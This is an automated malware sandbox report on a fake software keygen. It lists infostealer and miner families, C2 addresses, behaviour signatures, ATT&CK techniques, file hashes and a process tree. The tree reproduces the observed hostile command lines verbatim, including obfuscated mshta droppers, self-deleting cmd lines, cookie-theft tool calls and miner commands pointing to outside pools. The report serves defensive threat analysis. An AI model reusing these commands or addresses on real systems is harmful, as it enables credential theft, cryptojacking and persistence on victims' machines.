Resubmissions

17-04-2021 18:41

210417-4m6sdqyqx2 10

17-04-2021 06:29

210417-mvqz54c7re 10

16-04-2021 14:15

210416-aa5qqagyce 10

Analysis

  • max time kernel
    1796s
  • max time network
    1792s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    17-04-2021 18:41

General

  • Target

    https://keygenit.com/d/a941ad21e610ns219454.html

  • Sample

    210417-4m6sdqyqx2

Malware Config

Extracted

Family

azorult

C2

http://kvaka.li/1210776429.php

Extracted

Family

raccoon

Botnet

562d987fd49ccf22372ac71a85515b4d288facd7

Attributes
  • url4cnc

    https://telete.in/j90dadarobin

rc4.plain
rc4.plain

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 3 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 30 IoCs
  • Loads dropped DLL 7 IoCs
  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 7 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies Internet Explorer Phishing Filter 1 TTPs 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 51 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 13 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs ping.exe 1 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 37 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" https://keygenit.com/d/a941ad21e610ns219454.html
    1⤵
    • Modifies Internet Explorer Phishing Filter
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:772
    • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:772 CREDAT:82945 /prefetch:2
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of SetWindowsHookEx
      PID:1260
  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:2696
  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s WpnService
    1⤵
    • Modifies registry class
    PID:2688
  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Browser
    1⤵
      PID:2580
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
      1⤵
        PID:2408
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2380
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
        1⤵
          PID:1864
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s SENS
          1⤵
            PID:1388
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s UserManager
            1⤵
              PID:1272
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s Themes
              1⤵
                PID:1228
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                1⤵
                  PID:1108
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                  1⤵
                    PID:1020
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                    1⤵
                      PID:348
                    • \??\c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s BITS
                      1⤵
                      • Suspicious use of SetThreadContext
                      • Modifies registry class
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:3236
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k SystemNetworkService
                        2⤵
                        • Drops file in System32 directory
                        • Checks processor information in registry
                        • Modifies data under HKEY_USERS
                        • Modifies registry class
                        PID:4268
                    • C:\Windows\System32\rundll32.exe
                      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                      1⤵
                        PID:2428
                      • C:\Users\Admin\AppData\Local\Temp\Temp2_Delphi_Cars_2014_r2_2_14_2_keygen_by_KeygenNinja.zip\Delphi_Cars_2014_r2_2_14_2_keygen_by_KeygenNinja.exe
                        "C:\Users\Admin\AppData\Local\Temp\Temp2_Delphi_Cars_2014_r2_2_14_2_keygen_by_KeygenNinja.zip\Delphi_Cars_2014_r2_2_14_2_keygen_by_KeygenNinja.exe"
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2244
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3908
                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
                            keygen-pr.exe -p83fsase3Ge
                            3⤵
                            • Executes dropped EXE
                            • Suspicious use of WriteProcessMemory
                            PID:2224
                            • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
                              "C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"
                              4⤵
                              • Executes dropped EXE
                              • Suspicious use of WriteProcessMemory
                              PID:3300
                              • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
                                C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat
                                5⤵
                                  PID:1564
                            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
                              keygen-step-1.exe
                              3⤵
                              • Executes dropped EXE
                              PID:2216
                            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe
                              keygen-step-5.exe
                              3⤵
                              • Executes dropped EXE
                              • Suspicious use of WriteProcessMemory
                              PID:3084
                              • C:\Windows\SysWOW64\mshta.exe
                                "C:\Windows\System32\mshta.exe" vbScrIPt: clOSe ( cReatEobjEcT ( "wSCriPt.ShELl"). RuN ( "cMd.exE /q /c cOpy /y ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe"" 7E9URrKX7_.exe > nUL&& stArT 7E9URrKX7_.exe /P3jGo_7pbJkuJmoxJAUtJk0 & if """" == """" for %E In ( ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe"" ) do taskkill /im ""%~NxE"" /F> NUl" , 0 ) )
                                4⤵
                                  PID:184
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /q /c cOpy /y "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe" 7E9URrKX7_.exe > nUL&& stArT 7E9URrKX7_.exe /P3jGo_7pbJkuJmoxJAUtJk0 & if "" == "" for %E In ( "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe" ) do taskkill /im "%~NxE" /F> NUl
                                    5⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:2228
                                    • C:\Users\Admin\AppData\Local\Temp\7E9URrKX7_.exe
                                      7E9URrKX7_.exe /P3jGo_7pbJkuJmoxJAUtJk0
                                      6⤵
                                      • Executes dropped EXE
                                      • Suspicious use of WriteProcessMemory
                                      PID:3744
                                      • C:\Windows\SysWOW64\mshta.exe
                                        "C:\Windows\System32\mshta.exe" vbScrIPt: clOSe ( cReatEobjEcT ( "wSCriPt.ShELl"). RuN ( "cMd.exE /q /c cOpy /y ""C:\Users\Admin\AppData\Local\Temp\7E9URrKX7_.exe"" 7E9URrKX7_.exe > nUL&& stArT 7E9URrKX7_.exe /P3jGo_7pbJkuJmoxJAUtJk0 & if ""/P3jGo_7pbJkuJmoxJAUtJk0 "" == """" for %E In ( ""C:\Users\Admin\AppData\Local\Temp\7E9URrKX7_.exe"" ) do taskkill /im ""%~NxE"" /F> NUl" , 0 ) )
                                        7⤵
                                        • Suspicious use of WriteProcessMemory
                                        PID:1884
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /q /c cOpy /y "C:\Users\Admin\AppData\Local\Temp\7E9URrKX7_.exe" 7E9URrKX7_.exe > nUL&& stArT 7E9URrKX7_.exe /P3jGo_7pbJkuJmoxJAUtJk0 & if "/P3jGo_7pbJkuJmoxJAUtJk0 " == "" for %E In ( "C:\Users\Admin\AppData\Local\Temp\7E9URrKX7_.exe" ) do taskkill /im "%~NxE" /F> NUl
                                          8⤵
                                            PID:4412
                                        • C:\Windows\SysWOW64\regsvr32.exe
                                          "C:\Windows\System32\regsvr32.exe" SLKM1yb.6a8 /S
                                          7⤵
                                          • Loads dropped DLL
                                          • Suspicious use of NtCreateThreadExHideFromDebugger
                                          PID:4712
                                      • C:\Windows\SysWOW64\taskkill.exe
                                        taskkill /im "keygen-step-5.exe" /F
                                        6⤵
                                        • Kills process with taskkill
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:3576
                                • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe
                                  keygen-step-2.exe
                                  3⤵
                                  • Executes dropped EXE
                                  • Suspicious use of SetThreadContext
                                  • Modifies system certificate store
                                  PID:3844
                                  • C:\Users\Admin\AppData\Roaming\2BD3.tmp.exe
                                    "C:\Users\Admin\AppData\Roaming\2BD3.tmp.exe"
                                    4⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    PID:4644
                                    • C:\Windows\SysWOW64\cmd.exe
                                      cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Roaming\2BD3.tmp.exe"
                                      5⤵
                                        PID:4780
                                        • C:\Windows\SysWOW64\timeout.exe
                                          timeout /T 10 /NOBREAK
                                          6⤵
                                          • Delays execution with timeout.exe
                                          PID:4836
                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe
                                      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe"
                                      4⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetThreadContext
                                      PID:4852
                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe
                                        "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe"
                                        5⤵
                                        • Executes dropped EXE
                                        • Checks processor information in registry
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:4908
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4852 -s 268
                                        5⤵
                                        • Program crash
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4172
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe" >> NUL
                                      4⤵
                                        PID:4920
                                        • C:\Windows\SysWOW64\PING.EXE
                                          ping 127.0.0.1
                                          5⤵
                                          • Runs ping.exe
                                          PID:4576
                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
                                      keygen-step-3.exe
                                      3⤵
                                      • Executes dropped EXE
                                      • Suspicious use of WriteProcessMemory
                                      PID:2392
                                      • C:\Windows\SysWOW64\cmd.exe
                                        cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
                                        4⤵
                                        • Suspicious use of WriteProcessMemory
                                        PID:184
                                        • C:\Windows\SysWOW64\PING.EXE
                                          ping 1.1.1.1 -n 1 -w 3000
                                          5⤵
                                          • Runs ping.exe
                                          PID:4732
                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
                                      keygen-step-4.exe
                                      3⤵
                                      • Executes dropped EXE
                                      • Suspicious use of WriteProcessMemory
                                      PID:1576
                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX2\qiangli-game.exe
                                        "C:\Users\Admin\AppData\Local\Temp\RarSFX2\qiangli-game.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        • Drops file in Program Files directory
                                        • Suspicious use of SetWindowsHookEx
                                        • Suspicious use of WriteProcessMemory
                                        PID:3944
                                        • C:\Windows\SysWOW64\rundll32.exe
                                          "C:\Windows\System32\rundll32.exe" "C:\Program Files\pdfsetup.dll",install
                                          5⤵
                                          • Loads dropped DLL
                                          • Modifies registry class
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          • Suspicious use of WriteProcessMemory
                                          PID:3260
                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe
                                        "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        PID:4108
                                        • C:\Users\Admin\AppData\Roaming\3E23.tmp.exe
                                          "C:\Users\Admin\AppData\Roaming\3E23.tmp.exe"
                                          5⤵
                                          • Executes dropped EXE
                                          • Suspicious use of SetThreadContext
                                          PID:4652
                                          • C:\Users\Admin\AppData\Roaming\3E23.tmp.exe
                                            "C:\Users\Admin\AppData\Roaming\3E23.tmp.exe"
                                            6⤵
                                            • Executes dropped EXE
                                            PID:4868
                                        • C:\Users\Admin\AppData\Roaming\4122.tmp.exe
                                          "C:\Users\Admin\AppData\Roaming\4122.tmp.exe"
                                          5⤵
                                          • Executes dropped EXE
                                          • Adds Run key to start application
                                          • Suspicious use of SetThreadContext
                                          PID:4756
                                          • C:\Windows\system32\msiexec.exe
                                            -o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8.w7557 --cpu-max-threads-hint 50 -r 9999
                                            6⤵
                                            • Blocklisted process makes network request
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:2852
                                          • C:\Windows\system32\msiexec.exe
                                            -P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w2795@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
                                            6⤵
                                              PID:4896
                                              • C:\Windows\System32\Conhost.exe
                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                7⤵
                                                  PID:4732
                                            • C:\Windows\SysWOW64\cmd.exe
                                              "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"
                                              5⤵
                                                PID:4964
                                                • C:\Windows\SysWOW64\PING.EXE
                                                  ping 127.0.0.1
                                                  6⤵
                                                  • Runs ping.exe
                                                  PID:3412
                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe
                                              "C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"
                                              4⤵
                                              • Executes dropped EXE
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:4984
                                              • C:\Windows\SysWOW64\cmd.exe
                                                cmd.exe /c taskkill /f /im chrome.exe
                                                5⤵
                                                  PID:4560
                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                    taskkill /f /im chrome.exe
                                                    6⤵
                                                    • Kills process with taskkill
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    • Suspicious use of WriteProcessMemory
                                                    PID:3908
                                              • C:\Users\Admin\AppData\Local\Temp\RarSFX2\md4_4igk.exe
                                                "C:\Users\Admin\AppData\Local\Temp\RarSFX2\md4_4igk.exe"
                                                4⤵
                                                • Executes dropped EXE
                                                • Checks whether UAC is enabled
                                                PID:1812
                                              • C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe
                                                "C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe"
                                                4⤵
                                                • Executes dropped EXE
                                                PID:4956
                                                • C:\ProgramData\3030993.exe
                                                  "C:\ProgramData\3030993.exe"
                                                  5⤵
                                                  • Executes dropped EXE
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:4456
                                                • C:\ProgramData\7200019.exe
                                                  "C:\ProgramData\7200019.exe"
                                                  5⤵
                                                  • Executes dropped EXE
                                                  • Adds Run key to start application
                                                  PID:4732
                                                  • C:\ProgramData\Windows Host\Windows Host.exe
                                                    "C:\ProgramData\Windows Host\Windows Host.exe"
                                                    6⤵
                                                    • Executes dropped EXE
                                                    PID:2404
                                                • C:\ProgramData\5571795.exe
                                                  "C:\ProgramData\5571795.exe"
                                                  5⤵
                                                  • Executes dropped EXE
                                                  • Suspicious use of SetThreadContext
                                                  PID:5040
                                                  • C:\ProgramData\5571795.exe
                                                    "{path}"
                                                    6⤵
                                                    • Executes dropped EXE
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:2684
                                                • C:\ProgramData\5385634.exe
                                                  "C:\ProgramData\5385634.exe"
                                                  5⤵
                                                  • Executes dropped EXE
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:1476
                                              • C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe
                                                "C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"
                                                4⤵
                                                • Executes dropped EXE
                                                • Adds Run key to start application
                                                PID:1400
                                                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                  5⤵
                                                  • Executes dropped EXE
                                                  PID:1192
                                                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                  5⤵
                                                  • Executes dropped EXE
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:2272
                                                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                  5⤵
                                                  • Executes dropped EXE
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:4744
                                                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                  5⤵
                                                  • Executes dropped EXE
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:3940

                                        Network

                                        MITRE ATT&CK Matrix ATT&CK v6

                                        Persistence

                                        Registry Run Keys / Startup Folder

                                        1
                                        T1060

                                        Defense Evasion

                                        Modify Registry

                                        4
                                        T1112

                                        Install Root Certificate

                                        1
                                        T1130

                                        Credential Access

                                        Credentials in Files

                                        4
                                        T1081

                                        Discovery

                                        Query Registry

                                        2
                                        T1012

                                        System Information Discovery

                                        3
                                        T1082

                                        Remote System Discovery

                                        1
                                        T1018

                                        Collection

                                        Data from Local System

                                        4
                                        T1005

                                        Command and Control

                                        Web Service

                                        1
                                        T1102

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • C:\Program Files\pdfsetup.dat
                                          MD5

                                          9dbca15e0598407fb5591323dbcb5f04

                                          SHA1

                                          2c13703e655091a750ee276e977d5ecd61016c1f

                                          SHA256

                                          657d216a6339e4d0430a22b9ed95bd9fa0035f803e009d0441af6bfe972441af

                                          SHA512

                                          d37f60209c374212e3e1f2822c3b423000c0e0b563f3c8cfdc7e8bae2d97d3e135fac8aaf75a10003586f996de2a4bba3e63e4d9164dee9baf54206727648a94

                                        • C:\Program Files\pdfsetup.dll
                                          MD5

                                          566585a275aab4b39ecd5a559adc0261

                                          SHA1

                                          8f63401f6fd12666c6d40545eab325ed981ed565

                                          SHA256

                                          4b4f8c66c33cb40092685ed618b87f0eec557d6beb86b4907cfb2311d0a95a1f

                                          SHA512

                                          8960803bbc24e02c93dbc13bb626753ff45d1fd9d03a8f6aa35eb81d6f5adfa7b4bd46caf1160162ceed630ffa2fba3bf54f47e3aa4eb313db73fde6135ebd9c

                                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D
                                          MD5

                                          cc77b8c33b7806d0e7a190c61da64e07

                                          SHA1

                                          c93fdab41dac27bf64f48f548c35eb828d2aed3b

                                          SHA256

                                          234eb95992a5e4a91d28c1a2812b3becad116d12166d3a7ed3e1d97c88241654

                                          SHA512

                                          eaf308b79ce6c96fa6cb93c29e7be1d8dd4df11e4f2628ac4173840b349d2b42fb7e0b8bd291e73419da1308cc79fd08c3c9cb2fea06d20f86f13add8038b33c

                                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\59D1C89B35882FB67B19C498B4BDBDE0
                                          MD5

                                          b287a6bd3e9a7b4c627f27c5b1ccfe6e

                                          SHA1

                                          956052936da8a380f011ec3b39021886a8b3f0ce

                                          SHA256

                                          8e1d8defda29ec818bc8d31e832fcebab8cc166c546666ba297eee1ca82e265f

                                          SHA512

                                          5d707eb2ddf694978f964cc3075eccc37f2a4c254f89296165f9a5854da3bf96ff5f66e9cc76a6032e2f37c2462a2b1f935379962a840b4748efe8f66cc342a7

                                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\5EE9003E3DC4134E8CF26DC55FD926FA
                                          MD5

                                          0958b4cf3ea972ad39389d61030a727b

                                          SHA1

                                          8bbebe5769dda126f074b35386ae184ae74bc998

                                          SHA256

                                          2437847fd5565c31f021deb34c9e1d12958858d61c1092d9a818e64a1be99d5d

                                          SHA512

                                          eaa8249b57dff07ac6723bf3b3da10691d9a92224077b0eb3a9184cf0848573cdc21f864204150a9dea3e170908494788a74ba28b6d223eb8e2b25ac3b3268bf

                                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\644B8874112055B5E195ECB0E8F243A4
                                          MD5

                                          d1b1f562e42dd37c408c0a3c7ccfe189

                                          SHA1

                                          c01e61a5c5f44fb038228b7e542f6a8d7c8c283d

                                          SHA256

                                          7f468f04fe5a1b0616685f157a4285090b6ed3858d4cd9efe915aaeed83c158e

                                          SHA512

                                          404d279fabd4886008e47e9138f799cf398f0aa4c8556192d6e45dbcde99eac2cd65c47b9e0b88bd6d3a6529818f6048a23a197a913fb917b19dffbbd5d75850

                                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
                                          MD5

                                          4a238ced1596a42e9dba8bba18f98fba

                                          SHA1

                                          abc8e1e1b03244c16dc1b2725419f2010fba4ae0

                                          SHA256

                                          8c3cf699b1e01e14d6c1250e34e3e845e607216ebc623d0ea220343958618e48

                                          SHA512

                                          e3e273500928f843bc97ca30cc914b2cee14056dc1d8fe9c9b7b0608877e2588e027955e9880fc10217b432a99c253fd0635298567942375f156b865d3a5f74e

                                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E
                                          MD5

                                          4b44009a33b7608790793c5c145151ad

                                          SHA1

                                          204c2adc7c6bf30fe2d012647fcbccd139336a40

                                          SHA256

                                          eb1abaf9b5ee5893f03324537d93394763f246c9ddc5ac47902b2fda5b5823dd

                                          SHA512

                                          4148e7c591824454e4a5453cf498c610ef410f752d41b332fc408b0bb7cde4ec9e92d8d51eed7f87ad1c08ba1c171d14939ce68e6adc16e474eb1a582d89d89e

                                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D
                                          MD5

                                          670a1a92f93c684f04a84b176977d1fa

                                          SHA1

                                          2b4836517901a0a11abbdb15df200fbf90e79631

                                          SHA256

                                          2eac48804fea996cd8946e3c786febdc7b4f8324383709433737b89ac123a9f6

                                          SHA512

                                          c2a0c0bceca1dafbc22a87b7d567f0067bee6bb5ea294a679c90c3897da7c0a7fc406b1ce8ec328523d4fdce6a2c6d82639599958e28af4323c9ed61cec7b9a2

                                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\59D1C89B35882FB67B19C498B4BDBDE0
                                          MD5

                                          14d94bac6dab3f28a1834979bda750bd

                                          SHA1

                                          ebd0e5d43e4aa126e62fa458e465004334c8ce1e

                                          SHA256

                                          c03636efc05c6f5a4613c6f579a550176419de210763256788320c86e443612e

                                          SHA512

                                          811008506026815e9688e28b4025ae6ae84b533a124cd18193fc0e4b27a904d460f46d6c1b257a312a49849f0ddb9e59779880c6e376d209c7350e068b2dd8ab

                                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5EE9003E3DC4134E8CF26DC55FD926FA
                                          MD5

                                          e7e5f9a404bacb10307b7d4e878f8cbd

                                          SHA1

                                          2b8a2c6bb8245240224cc2ffc3735813e3c19d73

                                          SHA256

                                          99896192409316be7ac58d9ad6fbf6a1e9a7f242c1116e1679cf17228b4e07a5

                                          SHA512

                                          2a4c320dc48a94ddc20164dd4b2060c4521a79478e9b43388b7a44e3eefc2cb0534671e03b9668fe6872cb1fb25bc372ba6ad51671ca6d6c822f90ddf59b4d2e

                                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\644B8874112055B5E195ECB0E8F243A4
                                          MD5

                                          5885bb7ce1ad9659926c07e331fcc98e

                                          SHA1

                                          89dfc1e6cc0ab69c08424ab74e4fd384b777522a

                                          SHA256

                                          bdfa72c1f1a6ac711e3c1ebaa40201ca23ccc8ddf5deb1b9727f9318a43f7d85

                                          SHA512

                                          d397d7da343aff70ead9a0ae318117107a13588295c559afea436892541ccbf8a3987d0bd76a7eee77644c1c09e45f60cd7cf12b0bdebbe24bd46f1eeb9f982b

                                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
                                          MD5

                                          32bce8c9e84ff2ae0e88185578d58242

                                          SHA1

                                          fd7ce24e34c20baef676bd0948e38d85b3bf935f

                                          SHA256

                                          7bf8b51c46b6b596b455b343c1e277fc11f85bdc77a018639c58ba5df9e5023c

                                          SHA512

                                          c76fab45ad6bfdcf747312e5a76b2f813759e52074c156f9b914eb0bb3fc970f7355ea70a682ce17aeb26ee5ea7bbb2b1371cf7730a7e9a2480788b8efdfd3b6

                                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E
                                          MD5

                                          59cd52477ccf016e8950fdb422e7edb3

                                          SHA1

                                          e85b5889eb1bd4f8f226e8af614c6fd97114fa00

                                          SHA256

                                          dccb05904fe9260bb666cadc08fae1f16e3d5ad9d10d88750d24f9b9d8c8a6d7

                                          SHA512

                                          11119cbdc7e520172ef0c1696bd25ca3ae3fb440dad8657f07184d7223d433eaf60828c8c90004542692f436924c89d7b672f2dcd9c0c4fb9183f489e49eb597

                                        • C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\VersionManager\versionlist.xml
                                          MD5

                                          1a545d0052b581fbb2ab4c52133846bc

                                          SHA1

                                          62f3266a9b9925cd6d98658b92adec673cbe3dd3

                                          SHA256

                                          557472aeaebf4c1c800b9df14c190f66d62cbabb011300dbedde2dcddd27a6c1

                                          SHA512

